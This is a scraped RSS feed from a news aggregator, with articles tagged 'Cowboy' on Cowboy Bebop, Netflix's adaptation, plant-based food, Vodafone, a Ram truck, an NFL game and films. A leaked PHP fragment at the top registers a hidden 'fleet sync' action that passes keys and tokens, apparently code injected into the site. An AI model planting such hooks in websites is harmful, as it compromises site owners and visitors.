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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Cowboy – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Sep 2022 10:41:55 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Cowboy – Brief News https://briefnews.eu 32 32 How The Cowboy Bebop Team Tried To Make Every Episode Feel Unique https://briefnews.eu/how-the-cowboy-bebop-team-tried-to-make-every-episode-feel-unique/ https://briefnews.eu/how-the-cowboy-bebop-team-tried-to-make-every-episode-feel-unique/#respond Mon, 26 Sep 2022 10:41:55 +0000 https://briefnews.eu/how-the-cowboy-bebop-team-tried-to-make-every-episode-feel-unique/

Part of the tragedy of “Cowboy Bebop” is how the main characters are so weighed down by their pasts that they’re unable to live in the present. The creative team behind the classic anime series didn’t share this attitude though. When making the series, “Hajime Yatate” (their collective pseudonym) were all focused on the present, not what lay behind or ahead of them.

Series director Shinichirō Watanabe and producer Masahiko Minami discussed their episode-by-episode attitude at a roundtable for the show’s 20th anniversary, held at French convention Japan Expo 2018. Watannabe recounted (transcribed by SakuraBlog):

“I had an episodic series in mind from the get-go. I wanted every episode to feel fresh. And all the aforementioned problems we encountered only reinforced that vision of the series I had… But we still needed a thread, albeit thin, common to all episodes for the setting, world elements, characters, etc.”

Those thin threads wound up being (a.) the characters hunting bounties and (b.) confronting faces from their pasts. However, even these storylines lent themselves well to the series’ episodic format. This approach was solidified by the crew treating every episode like its own standalone story, and allowing all sorts of staff members to pitch in.

A Mishmash Team Effort

The “Cowboy Bebop” opening sequence, “Tank!” by the Seatbelts, contains a bold declaration hidden in its scrolling text animation: “the work that becomes a new genre itself will be called… Cowboy Bebop.” On a macro and micro level, “Bebop” mixes so many influences it defies categorization.

The setting may be science fiction, but true to the “Cowboy” part of the title, there’s Western influence too: the Solar System is a newly-settled, lawless frontier. The character archetypes owe more to Film Noir — Spike’s a former criminal, Jet an ex-cop, Faye a wannabe femme fatale. Yoko Kanno’s music score is as eclectic as the storytelling. “The Real Folk Blues” mixes jazzy saxophone riffs with lyrics out of a lovelorn ballad.

Episode by episode, widely different tones are explored. “Black Dog Serenade” is one of the show’s darkest chapters, explaining how Jet lost his right arm thanks to his corrupt ex-partner, Fad. The very next episode, “Mushroom Samba,” is the show’s silliest, featuring the adventures of comic relief character “Radical” Edward and pet “data dog” Ein while the rest Bebop crew accidentally get high on psychedelic mushrooms. While “Serenade” is a hardboiled noir, “Samba” is a love-letter to 70s stoner and blaxploitation movies — a woman who suspiciously resembles Pam Grier even shows up.

At the Japan Expo panel, Watannabe mentioned how the team enlisted different staff members for every episode to ensure each was unique. Dai Sato, a totally green writer, scripted two “Cowboy Bebop” episodes, while Minami broke out of his producing role and worked directly on episode 10; he gave the episode an “enka”-inspired tone.

If you make every episode feel different, you risk creating an unbalanced series. However, “Cowboy Bebop” begins as such a unique creation that introducing a new ingredient never upsets the flavor.

Making Every Episode Like It Was The Last

Watannabe acknowledged there was another reason they made “Cowboy Bebop” episodic:

“Every episode was written like it was the last because we knew the series may be called off any time.”

This attitude helps explain episode 11, “Toys in the Attic.” In that “Alien” parody, the Bebop crew is picked off one-by-one by a poisonous blob creature. The episode ends with everyone unconscious except for Ed, who beats the creature by eating it. In the preview for the next episode, Ed claims everyone died, “Bebop” is over and the next show will be “Cowgirl Ed.” Of course that isn’t true and everyone’s fine in episode 12. If the series had ended there, what a wild ending it would’ve been.

Watannabe’s fears of a premature end weren’t simple paranoia. For starters, “Cowboy Bebop” had trouble getting funding. The series’ sponsor Bandai just wanted sell spaceship toys, but pulled back thanks to the offbeat narrative that Sunrise designed for their toy commercial. If subsidiary Bandai Visual hadn’t stepped in, “Cowboy Bebop” may not have gotten off the ground.

Plus, the series was yanked off the air at one point. TV Tokyo aired only 12 “Bebop” episodes (and a clip show) from April 3 to June 26, 1998. Thankfully, the series soon aired in its entirety on Wowow, from October 24, 1998 until April 3, 1999. When “Cowboy Bebop” made its way to the U.S., airing on Adult Swim in 2001, its reputation as a classic was solidified. The series’ episodic approach and heavy western influence made it accessible to American audiences, who weren’t as well-versed in anime then as they are now.

By putting care into each episode, Watannabe, Minami, and their Sunrise teammates created something even greater than the sum of its unique parts.

Read this next: Anime Shows Like Cowboy Bebop That Are Worth Your Time

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A freak injury has thrown a wrench into Netflix’s planned live-action take on Cowboy Bebop.

Star John Cho suffered a serious knee injury on the New Zealand set of the upcoming series, our sister site Deadline reports, and production will shut down for between seven and nine months while he recovers. The injury is described as a “freak accident” and is said to have occurred during the last take of a routine and well-rehearsed scene.

“Our thoughts are with John, and he has our complete support as he recuperates from this injury,” a Netflix spokesperson said in a statement.

Cho stars as intergalactic bounty hunter Spike Siegel, who leads a ragtag crew across the cosmos as they search for the solar system’s most dangerous criminals. The cast also includes Mustafa Shakir (Marvel’s Luke Cage), Daniella Pineda (The Detour) and Elena Satine (Revenge). The original Cowboy Bebop, an acclaimed Japanese anime series, began airing in the U.S. on Adult Swim back in 2001 and introduced many American viewers to the world of anime.

Netflix handed a 10-episode series order to a live-action remake of Cowboy Bebop last year, with Cho signing on to play the lead role in April. Production on the series began just last week.

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On the November 28, 2018 episode of /Film Daily, /Film editor-in-chief Peter Sciretta is joined by /Film managing editor Jacob Hall, and writers Hoai-Tran Bui and Chris Evangelista to talk about the latest tv and film news, including Spider-Man: Into the Spider-Verse, Cowboy Bebop, Handmaid’s Tale, Sylvester Stallone, Candyman, To All The Boys I’ve Loved Before, YouTube and Ralph Breaks The Internet.

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Netflix is saying “Giddy up!” to Cowboy Bebop, placing a 10-episode series order for a live-action version of the late ’90s Japanese anime phenom, TVLine has learned.

Set in the future, the jazz-inspired, genre-bending series follows a rag-tag crew of bounty hunters (named Spike Spiegel, Jet Black, Faye Valentine and Radical Ed) on the run from their pasts as they hunt down the solar system’s most dangerous criminals. They’ll even save the world — for the right price.

Netflix will co-produce the project with Tomorrow Studios (a partnership between Marty Adelstein and ITV Studios). Alias vets Andre Nemec, Josh Appelbaum, Jeff Pinkner will handle show-running duties alongside Scott Rosenberg. Additional EPs include Marty Adelstein, Becky Clements, Yasuo Miyakawa, Masayuki Ozaki, Shin Sasaki, Tetsu Fujimura and Matthew Weinberg.

Christopher Yost (Thor: Ragnarok) will pen the first episode. Shinichiro Watanabe, director of the original anime version, will serve as a consultant.

A feature film version, titled Cowboy Bebop: The Movie, was released in 2001.

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]]> https://briefnews.eu/cowboy-bebop-live-action-series-based-on-japanese-anime-phenom-scores-10-episode-netflix-order/feed/ 0 Cowboy to soy boy: Americans consuming more fake meat & dairy than ever https://briefnews.eu/cowboy-to-soy-boy-americans-consuming-more-fake-meat-dairy-than-ever/ https://briefnews.eu/cowboy-to-soy-boy-americans-consuming-more-fake-meat-dairy-than-ever/#respond Sun, 16 Sep 2018 12:56:26 +0000 http://briefnews.eu/cowboy-to-soy-boy-americans-consuming-more-fake-meat-dairy-than-ever/ A new study by the Good Food Institute (GFI), which represents the plant-based foods industry, found that sales of substitutes for animal products have exceeded $ 3.7 billion.

While total US retail food sales grew just two percent over the last 12 months, retail sales of plant-based foods grew 17 percent during the same time period.

“The plant-based foods industry has gone from being a relatively niche market to fully mainstream,” said Michele Simon, Executive Director of the Plant Based Foods Association (PBFA).

Simon explained that plant-based meat and dairy alternatives are now consumed not just by vegetarians but “even mainstream consumers” who are “enjoying these delicious and innovative options in the market today.”

The report found that sales of plant-based ‘meat’ increased 23 percent in the past year, up from six percent growth the previous year. Retail sales of plant-based products grew double-digits across all nine US census regions.

GFI predicted that the global meat alternatives market is set to grow over the coming years, reaching $ 6.3 billion by 2023. It is currently valued at $ 4.63 billion.

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“As consumers look to decrease their meat consumption, more and more people are choosing plant-based meat. In fact, 12 percent of households across the US now purchase plant-based meat,” said GFI Director of Corporate Engagement Alison Rabschnuk.

“[This is] a significant increase from last year and I expect we’ll see that trend continue,” Rabschnuk added.

The research also found that “the plant-based meat category today is looking suspiciously like the plant-based milk category about ten years ago.”

Plant-based milk (a $ 1.8 billion market) commands a full 13 percent of total retail milk sales nationally. By contrast, it accounts for just about one percent of total US retail meat sales.

GFI noted that plant-based milk has become an increasingly common household staple and people are seeking out other plant-based dairy products. Those “other dairy alternatives” are seeing some of the greatest sales growth, according to GFI.

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]]> https://briefnews.eu/cowboy-to-soy-boy-americans-consuming-more-fake-meat-dairy-than-ever/feed/ 0 Vodafone’s CEO announces his departure less than a week after making $22 billion deal with ‘cable cowboy’ John Malone https://briefnews.eu/vodafones-ceo-announces-his-departure-less-than-a-week-after-making-22-billion-deal-with-cable-cowboy-john-malone/ https://briefnews.eu/vodafones-ceo-announces-his-departure-less-than-a-week-after-making-22-billion-deal-with-cable-cowboy-john-malone/#respond Tue, 15 May 2018 08:21:43 +0000 http://briefnews.eu/vodafones-ceo-announces-his-departure-less-than-a-week-after-making-22-billion-deal-with-cable-cowboy-john-malone/ Vittorio ColaoReuters/Denis Balibouse

  • Long-serving Vodafone CEO Vittorio Colao is to step down in October this year.
  • He will be succeeded by the telecoms firm’s current chief financial officer, Nick Read.
  • The announcement of Colao’s departure comes less than a week after Vodafone announced a $ 22 billion deal with Liberty Global.

LONDON —Vodafone announced on Tuesday that long-serving CEO Vittorio Colao will step down later this year.

Colao, who has been at the helm of the British-based firm for a decade, will stand down in October and will be replaced by Nick Read, Vodafone’s current finance director. No reason was given for Colao’s departure.

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The new 2019 Ram 1500made its debut at the Detroit Auto Show last week. At the reveal, Ram rolled out several variants, including the Ram 1500 Limited and Ram 1500 Rebel. That was just a taste, a brief bite to whet your truck-loving palate. As you can see in these spy photos, there are far, far more models to come. FCA just released details on the new Ram 1500 Laramie Longhorn, and it looks to carry on its predecessor’s Southwestern-inspired theme.

The Laramie Longhorn can best be described as a Western ranch on wheels. The choice of colors, materials and details are there to bring about a sense of Texas-style luxury. Though the two-tone paint and LED headlights are nice, the real meat is inside the truck. It’s easy to see why Ram calls out cowboy boots, pocket watches and horseman’s saddles. Just take a look at the metal buckle on the back of the seat pockets.

The dashboard, door panels and armrests are done in full-grain leather. The center console, instrument cluster, seats and door panels are embossed with an alligator skin pattern. There are chrome and nickel accents throughout and a “Longhorn” emblem branded onto the wood on the dashboard. There’s also wood on the doors and center console. There are two interior color options, both with contrasting piping: Mountain Brown/Light Mountain Brown and Black/Cattle Tan. Both are full leather.

In addition to the optional two-tone paint, the Ram 1500 Laramie Longhorn gets a chrome grille, bumpers and tow hooks. Side steps and wheel flares are standard. The standard wheel is a new 20-inch design, though a larger 22-inch wheel is available. The Texas theme continues outside with “belt-buckle badging” on the truck’s side.

All the rest of the 2019 Ram 1500 features are here, too, including 4G WiFi, a 12-inch touchscreen infotainment system, 5 USB ports and a center console large enough to bathe in. The Laramie Longhorn model should get Ram’s tried and true 5.7-liter Hemi V8, now available with the eTorque mild-hybrid system. Pricing hasn’t been announced, but expect to see a full breakdown soon.

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The Cowboys (2-1), bouncing back from a 42-17 pommeling in Denver, began the game kneeling at midfield with owner Jerry Jones in a show of unity that followed widespread protests across the NFL of critical comments by President Donald Trump over the weekend.

Jones has been a staunch supporter of President Trump, so the speculation was that he would not allow his players to kneel during the national anthem.

The Cowboys and their owner did kneel, though not during the anthem.

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Following a weekend of kneeling and protesting across the NFL, the Cowboys and their owner displayed their own version of unity Monday night, kneeling on the field before rising as a group before the playing of the national anthem.

The Cowboys went into the locker room and returned to the field for the anthem, lining up between the sideline and the yard markers on the field.

Arm-in-arm, they dropped to a knee as a giant flag was carried onto the field, with Jones and his family in the middle near the 50-yard line.

Numerous boos rang out across University of Phoenix Stadium as the Cowboys knelt and continued as the players rose, still arm-in-arm, and stepped back to the sideline as the flag was unfurled across the field.

They remained connected as Jordin Sparks sang the national anthem.

The Arizona Cardinals had their own symbol of unity after a weekend of protests in the NFL, gathering along the goal line arm-in-arm during the national anthem.

They were joined by owner Michael Bidwell, his family and general manager Steve Keim.

More than 200 NFL players knelt, sat or prayed during the national anthem on Sunday after President Trump said any player who does not stand for the national anthem should be fired.

In on-field action, Prescott — who threw for 13 of 18 for 183 yards — broke a 14-14 tie with a 37-yard scoring pass to Brice Butler with 11:52 to play.

Arizona, with a spectacular catch by Larry Fitzgerald for 24 yards on a third- and-18 play, moved downfield but the drive stalled.

Phil Dawson’s 37-yard field goal cut the lead to 21-17 with 6:35 left.

Ezekiel Elliott, who gained 8 yards in nine carries against Denver and drew criticism for not hustling after a couple of late interceptions, was bottled up much of the game, but still gained 80 yards on 22 attempts, 30 on one play. He ran 8 yards for the final Cowboys touchdown.

The Cardinals (1-2), in their home opener, got a big game from Fitzgerald, who caught 13 passes for 149 yards, in the process moving ahead of Marvin Harrison into eighth in career receiving yards.

Carson Palmer had a big first half, completed 15 of 18 for 145 yards and finished 29 of 48 for 325 yards and two scores. He was sacked six times, a career-high three by DeMarcus Lawrence.

The Cardinals dominated the first half statistically, but were deadlocked with the Cowboys at 7-7. Arizona had a 152-57 advantage in yards and dominated time of possession 19:34 to 9:41.

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With the long-awaited sequel, Blade Runner 2049, soon to hit theaters, indubitably the question will be raised of what happened in the years that passed between the two films.

While other franchises have taken to comic books or novelizations to fill in the holes, Blade Runner will release an anime, helmed by the director of Cowboy Bebop. It’s somewhat fitting for a franchise that has so heavily influenced the cyberpunk wave of anime in the ’90s — which has made it back to the big screen in this year’s adaptation of Ghost in the Shell.

The short Blade Runner anime will be directed by Shinichiro Watanabe, who rose to fame by helming acclaimed anime Cowboy Bebop and Samurai Champloo. Titled Blade Runner Black Out 2022, the anime short is set a few years after the events of the original film and takes place during — what else? — a power outage, according to NetLab.

Blade Runner Black Out 2022 also follows two other short film prequels released on the iTunes Trailers site, titled 2036: Nexus Dawn and 2048: Nowhere to Run. However, this will be the first short released as an anime, as the other two star actors who appear in Blade Runner 2049, Jared Leto and Dave Bautista.

The preview clip shows test animation, concept art, and a few shots of finished animation from the short film.

None of the characters are familiar faces, though that’s to be expected. We see a shadowy figure emerging from smoke and fire, and a hooded girl who is likely the protagonist of the short. There are also wide shots of the grimy cityscape as well as armed police officers.

“The work that has influenced me the most in my anime profession would be, of course, Blade Runner,” Watanabe says in the clip, translated by Kotaku. Kotaku reported that Watanabe “adds that in making this short, he’s keeping two things in mind: paying maximum respect to the original Blade Runner and trying not to create an imitation.”

The cyclical nature of Blade Runner and the cyberpunk genre in anime is fascinating. While Ridley Scott‘s film drew heavily from Philip K. Dick’s 1968 novel Do Androids Dream of Electric Sheep as well as the burgeoning Hong Kong cityscape, Tokyo in the 1980s would become a bustling, neon-lit metropolis not unlike the one depicted Blade Runner — spawning a whole new wave of cyberpunk anime. Ghost in the Shell in 1995 led the pack, and would go on to influence American projects as well, notably The Matrix. And the cyberpunk era has returned with the Scarlett Johansson-starring Ghost in the Shell (though whitewashing controversies helped turn the film into a box office bomb) and the upcoming Blade Runner 2049. So it’s fitting that Blade Runner would eventually become an anime as well.

The Blade Runner Black Out 2022 short will premiere on Sony Pictures Japan’s YouTube channel on September 26, 2017.

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Cowboy Ninja Viking doesn’t have a director that we know of, but comic book adaptation has a release date. In June of 2019, Chris Pratt will be part-Cowboy, part-Ninja, and part-Viking, playing a powerful assassin with the skills of all three warriors. He’s not the only “triplet” in the world, though, or at least that’s the case in A.J. Lieberman and Riley Rossmo‘s graphic novel.

Below, find out the Cowboy Ninja Viking release date.

The Universal project will open in theaters June 28, 2019. That’s a day after Transformers 7 is scheduled to come out, but after Transformers: The Last Knight‘s underwhelming performance at the domestic box-office, that sequel may be less of a concern for Cowboy Ninja Viking. This movie has the kind of title I’m looking forward to seeing plastered on a big billboard or marquee, drawing both confusion and/or excitement from people passing by. Cowboy Ninja Viking may face more competition before and after its weekend though – it’s surrounded by Toy Story 4 (6/21/19) and a Spider-Man sequel (07/05/19).

The story follows Duncan, a man with a multiple personality disorder turned into a “triplet,” thanks to a secret government program. Here’s more information on the comic:

Duncan is the result of a secret government program to create soldiers for the war on terror. This experimental regimen conscripts people suffering from multiple personality disorder and turns them into “triplets,” highly lethal operatives possessing three distinct personalities drawing from warrior/tough guy archetypes. Duncan serves as the reader’s entry point into a complex web of espionage and violence that grows more intriguing as we are let in on exactly what’s up with Duncan, the people who want to drag him back into the fold, and the rest of the triplets that remain at large.

Pratt signed up to star in the project almost three years ago. He’s met with directors about Cowboy Ninja Viking, including the makers of John Wick, David Leitch and Chad Stahelski. Before that, Marc Foster (Quantum of Solace) was going to direct. With a release date less than two years away, we should expect to hear an announcement for who’s getting behind the camera for Cowboy Ninja Viking soon.

Before Cowboy Ninja Viking went to Universal, it was at Disney. The kid-friendly studio apparently found Rhett Reese and Paul Wernick‘s (Deadpool) script too edgy for their taste. Their fun and playful sensibilities seem perfect for a movie called Cowboy Ninja Viking, so let’s hope their script is the one Universal and Pratt are moving forward with.

Cowboy Ninja Viking opens in theaters June 28, 2019.

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